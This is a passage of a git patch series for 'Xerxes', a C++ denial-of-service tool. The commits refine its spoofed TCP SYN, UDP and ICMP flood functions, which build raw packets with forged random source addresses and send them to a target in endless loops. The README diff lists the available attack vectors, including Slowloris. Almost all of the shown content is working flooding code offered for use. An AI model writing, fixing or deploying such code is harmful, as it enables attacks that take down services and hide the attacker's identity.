htons(static_cast(s_port)); + tcp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); + tcp->seq = htonl(1); + tcp->ack = 0; + tcp->doff = 5; + tcp->syn = 1; + tcp->ack_seq = 0; + tcp->window = htons(32767); + tcp->check = 0; + tcp->urg_ptr = 0; + tcp->check = htons(checksum((unsigned short *) buf, (sizeof(struct ip) + sizeof(struct tcphdr)))); if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ logger->Log("setsockopt() error", Logger::Error); exit(EXIT_FAILURE); } - if(sendto(s, buffer, ip->iph_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0){ + if(sendto(s, buf, ip->ip_len, 0, (sockaddr*)&dst, sizeof(struct sockaddr_in)) < 0){ logger->Log("sendto() error", Logger::Error); exit(EXIT_FAILURE); } @@ -527,9 +537,9 @@ void Doser::spoofed_udp_flood(const int *id) { auto s_addr = randomizeIP(); auto s_port = randomInt(0, 65535); bzero(buffer, sizeof(buffer)); - auto *ip = (struct ipheader *) buffer; + auto *ip = (struct ip *) buffer; - auto *udp = (struct udpheader *) (buffer + sizeof(struct ipheader)); + auto *udp = (struct udphdr *) (buffer + sizeof(struct ip)); struct sockaddr_in sin{}, din{}; @@ -546,29 +556,29 @@ void Doser::spoofed_udp_flood(const int *id) { din.sin_addr.s_addr = inet_addr(conf->website.c_str()); // IP Struct - ip->iph_ihl = 5; - ip->iph_ver = 4; - ip->iph_tos = 16; - ip->iph_len = sizeof(struct ipheader) + sizeof(struct udpheader); - ip->iph_ident = htons(54321); - ip->iph_ttl = 64; - ip->iph_protocol = 17; - ip->iph_sourceip = inet_addr(s_addr); - ip->iph_destip = inet_addr(conf->website.c_str()); + ip->ip_hl = 5; + ip->ip_v = 4; + ip->ip_tos = 16; + ip->ip_len = sizeof(struct iphdr) + sizeof(struct udphdr); + ip->ip_id = htons(54321); + ip->ip_ttl = 64; + ip->ip_p = 17; + ip->ip_src.s_addr = inet_addr(s_addr); + ip->ip_dst.s_addr = inet_addr(conf->website.c_str()); // UDP Struct - udp->udph_srcport = htons(static_cast(s_port)); - udp->udph_destport = htons(*(unsigned short *)conf->port.c_str()); - udp->udph_len = htons(sizeof(struct udpheader)); + udp->source = htons(static_cast(s_port)); + udp->dest = htons(*(unsigned short *)conf->port.c_str()); + udp->len = htons(sizeof(struct udphdr)); - ip->iph_chksum = checksum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct udpheader)); + ip->ip_sum = checksum((unsigned short *)buffer, sizeof(struct iphdr) + sizeof(struct udphdr)); if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ logger->Log("setsockopt() error", Logger::Error); exit(EXIT_FAILURE); } - if(sendto(s, buffer, ip->iph_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0){ + if(sendto(s, buffer, ip->ip_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0){ logger->Log("sendto() error", Logger::Error); exit(EXIT_FAILURE); } @@ -579,3 +589,19 @@ void Doser::spoofed_udp_flood(const int *id) { usleep(30000); } } + +unsigned short Doser::checksum(unsigned short *buf, int len){ + + unsigned long sum; + + for(sum=0; len>0; len--){ + sum += *buf++; + } + + sum = (sum >> 16) + (sum &0xffff); + + sum += (sum >> 16); + + return (unsigned short)(~sum); + +} diff --git a/Doser.h b/Doser.h index 38c7ffb..527ed09 100644 --- a/Doser.h +++ b/Doser.h @@ -27,6 +27,7 @@ class Doser { void icmp_flood(const int *id); void spoofed_tcp_flood(const int *id); void spoofed_udp_flood(const int *id); + unsigned short checksum(unsigned short *buf, int len); const char *randomizeIP(); std::string randomizeUserAgent(); SSL_CTX* InitCTX(); diff --git a/headers.h b/headers.h deleted file mode 100644 index 4b964c3..0000000 --- a/headers.h +++ /dev/null @@ -1,111 +0,0 @@ -#ifndef XERXES_HEADERS_H -#define XERXES_HEADERS_H - -#include -#include -#include -#include -#include - - - -/* Structure of a TCP header */ - -struct tcpheader { - - unsigned short int tcph_srcport; - - unsigned short int tcph_destport; - - unsigned int tcph_seqnum; - - unsigned int tcph_acknum; - - unsigned char tcph_reserved:4, tcph_offset:4; - - // unsigned char tcph_flags; - - unsigned int - - tcp_res1:4, - - tcph_hlen:4, /*length of tcp header in 32-bit words*/ - - tcph_fin:1, /*Finish flag "fin"*/ - - tcph_syn:1, /*Synchronize sequence numbers to start a connection*/ - - tcph_rst:1, /*Reset flag */ - - tcph_psh:1, /*Push, sends data to the application*/ - - tcph_ack:1, /*acknowledge*/ - - tcph_urg:1, /*urgent pointer*/ - - tcph_res2:2; - - unsigned short int tcph_win; - - unsigned short int tcph_chksum; - - unsigned short int tcph_urgptr; - -}; - -struct ipheader { - unsigned char iph_ihl:5, iph_ver:4; - - unsigned char iph_tos; - - unsigned short int iph_len; - - unsigned short int iph_ident; - - unsigned char iph_flag; - - unsigned short int iph_offset; - - unsigned char iph_ttl; - - unsigned char iph_protocol; - - unsigned short int iph_chksum; - - unsigned int iph_sourceip; - - unsigned int iph_destip; -}; - - -// UDP header's structure -struct udpheader { - - unsigned short int udph_srcport; - - unsigned short int udph_destport; - - unsigned short int udph_len; - - unsigned short int udph_chksum; - -}; - -unsigned short checksum(unsigned short *buf, int len){ - - unsigned long sum; - - for(sum=0; len>0; len--){ - sum += *buf++; - } - - sum = (sum >> 16) + (sum &0xffff); - - sum += (sum >> 16); - - return (unsigned short)(~sum); - -} - - -#endif //XERXES_HEADERS_H From c160cfe1bcd00f23187513f83df0354b5f4b51de Mon Sep 17 00:00:00 2001 From: ssh Date: Fri, 30 Mar 2018 01:46:15 +0400 Subject: [PATCH 11/14] Fixing bugs... --- Doser.cpp | 58 +++++++++++++++++++++++++++++++------------------------ 1 file changed, 33 insertions(+), 25 deletions(-) diff --git a/Doser.cpp b/Doser.cpp index 7e084cd..a9cfd0f 100644 --- a/Doser.cpp +++ b/Doser.cpp @@ -531,54 +531,62 @@ void Doser::spoofed_tcp_flood(const int *id) { void Doser::spoofed_udp_flood(const int *id) { int s, on = 1, x; std::string message{}; - char buffer[8192]; + char buf[8192]; + auto *ip = (struct ip *)buf; + auto *udp = (struct udphdr *)(ip + 1); + struct hostent *hp; + struct sockaddr_in dst{}; + auto s_port = randomInt(0, 65535); while (true){ for(x = 0; x < conf->CONNECTIONS; x++){ - auto s_addr = randomizeIP(); - auto s_port = randomInt(0, 65535); - bzero(buffer, sizeof(buffer)); - auto *ip = (struct ip *) buffer; - - auto *udp = (struct udphdr *) (buffer + sizeof(struct ip)); - - struct sockaddr_in sin{}, din{}; - - if((s = socket(AF_UNSPEC, SOCK_RAW, IPPROTO_TCP)) < 0){ + bzero(buf, sizeof(buf)); + if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){ logger->Log("socket() error", Logger::Error); exit(EXIT_FAILURE); } - sin.sin_family = AF_UNSPEC; - din.sin_family = AF_UNSPEC; - sin.sin_port = htons(static_cast(s_port)); - din.sin_port = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); - sin.sin_addr.s_addr = inet_addr(s_addr); - din.sin_addr.s_addr = inet_addr(conf->website.c_str()); + if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ + logger->Log("setsockopt() error", Logger::Error); + exit(EXIT_FAILURE); + } + + if((hp = gethostbyname(conf->website.c_str())) == nullptr){ + if((ip->ip_dst.s_addr = inet_addr(conf->website.c_str())) < 0){ + logger->Log("Can't resolve the host", Logger::Error); + exit(EXIT_FAILURE); + } + }else{ + bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, static_cast(hp->h_length)); + } + if((ip->ip_src.s_addr = inet_addr(randomizeIP())) < 0){ + logger->Log("Unable to set random src ip", Logger::Error); + exit(EXIT_FAILURE); + } // IP Struct ip->ip_hl = 5; ip->ip_v = 4; ip->ip_tos = 16; - ip->ip_len = sizeof(struct iphdr) + sizeof(struct udphdr); - ip->ip_id = htons(54321); + ip->ip_len = htons(sizeof(buf)); + ip->ip_id = static_cast(randomInt(1, 1000)); ip->ip_ttl = 64; ip->ip_p = 17; - ip->ip_src.s_addr = inet_addr(s_addr); - ip->ip_dst.s_addr = inet_addr(conf->website.c_str()); + + dst.sin_addr = ip->ip_dst; + dst.sin_family = AF_UNSPEC; // UDP Struct udp->source = htons(static_cast(s_port)); - udp->dest = htons(*(unsigned short *)conf->port.c_str()); + udp->dest = htons(static_cast(strtol(conf->port.c_str(), nullptr, 10))); udp->len = htons(sizeof(struct udphdr)); - - ip->ip_sum = checksum((unsigned short *)buffer, sizeof(struct iphdr) + sizeof(struct udphdr)); + udp->check = htons(checksum((unsigned short *) buf, (sizeof(struct ip) + sizeof(struct udphdr)))); if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){ logger->Log("setsockopt() error", Logger::Error); exit(EXIT_FAILURE); } - if(sendto(s, buffer, ip->ip_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0){ + if(sendto(s, buf, ip->ip_len, 0, (sockaddr*)&dst, sizeof(struct sockaddr_in)) < 0){ logger->Log("sendto() error", Logger::Error); exit(EXIT_FAILURE); } From dd041adc74bb9ac1360cea7cec407518169ec8af Mon Sep 17 00:00:00 2001 From: ssh Date: Fri, 30 Mar 2018 01:53:27 +0400 Subject: [PATCH 12/14] Fixing bugs... --- Doser.cpp | 1 + 1 file changed, 1 insertion(+) diff --git a/Doser.cpp b/Doser.cpp index a9cfd0f..b4883f5 100644 --- a/Doser.cpp +++ b/Doser.cpp @@ -422,6 +422,7 @@ void Doser::icmp_flood(const int *id) { dst.sin_addr = ip->ip_dst; dst.sin_family = AF_UNSPEC; + icmp->type = ICMP_ECHO; icmp->code = static_cast(randomInt(1, 1000)); icmp->checksum = htons(checksum((unsigned short *) buf, (sizeof(struct ip) + sizeof(struct icmphdr)))); From a198ec7bd28885ebd594d19e7481d25ba6288390 Mon Sep 17 00:00:00 2001 From: ssh Date: Fri, 30 Mar 2018 01:59:25 +0400 Subject: [PATCH 13/14] Fixing bugs... --- Doser.cpp | 4 +++- Parser.cpp | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/Doser.cpp b/Doser.cpp index b4883f5..668774c 100644 --- a/Doser.cpp +++ b/Doser.cpp @@ -422,7 +422,7 @@ void Doser::icmp_flood(const int *id) { dst.sin_addr = ip->ip_dst; dst.sin_family = AF_UNSPEC; - + icmp->type = ICMP_ECHO; icmp->code = static_cast(randomInt(1, 1000)); icmp->checksum = htons(checksum((unsigned short *) buf, (sizeof(struct ip) + sizeof(struct icmphdr)))); @@ -572,6 +572,8 @@ void Doser::spoofed_udp_flood(const int *id) { ip->ip_id = static_cast(randomInt(1, 1000)); ip->ip_ttl = 64; ip->ip_p = 17; + ip->ip_off = htons(0x0); + ip->ip_sum = 0; dst.sin_addr = ip->ip_dst; dst.sin_family = AF_UNSPEC; diff --git a/Parser.cpp b/Parser.cpp index 126d19d..62274e9 100644 --- a/Parser.cpp +++ b/Parser.cpp @@ -29,7 +29,7 @@ void Parser::help() { } void Parser::show_banner() { - const std::string version{"v0.0.4"}; + const std::string version{"v0.0.5"}; std::cout << "Xerxes - Revised " << version << std::endl; } From 7d62ac81d2c9c92a5a7bcfea82691838677d5b1a Mon Sep 17 00:00:00 2001 From: Sepehrdad Date: Fri, 30 Mar 2018 02:04:02 +0400 Subject: [PATCH 14/14] Update README.md --- README.md | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index 540f9d7..a6da9da 100644 --- a/README.md +++ b/README.md @@ -20,11 +20,14 @@ Not only that but also we are aggressively developing it and adding a lot more f `Usage: ./Xerxes `\ Options:\      -h      set attack vector to HTTP\ +     -i      set attack vector to Spoofed ICMP Flood\ +     -s      set attack vector to Slowloris\      -nu     set attack vector to NULLUDP\      -nt     set attack vector to NULLTCP\      -ft     set attack vector to TCPFlood\      -fu     set attack vector to UDPFlood\ -     -s      set attack vector to Slowloris\ +     -su     set attack vector to Spoofed UDP Flood\ +     -st     set attack vector to Spoofed TCP Flood\      -ss     enable SSL\      -w      wait for hosts response\      -rh     randomize HTTP Header\ @@ -37,14 +40,6 @@ Options:\ ## Questions ? If you have any questions feel free to visit our Wiki page - -## Todo -
    -
  • Add spoofed ICMP packets support
  • -
  • Add Smurf Attack vector
  • -
  • Add more attack vectors
  • -
- ## License This software is distributed under the GNU General Public License version 3 (GPLv3)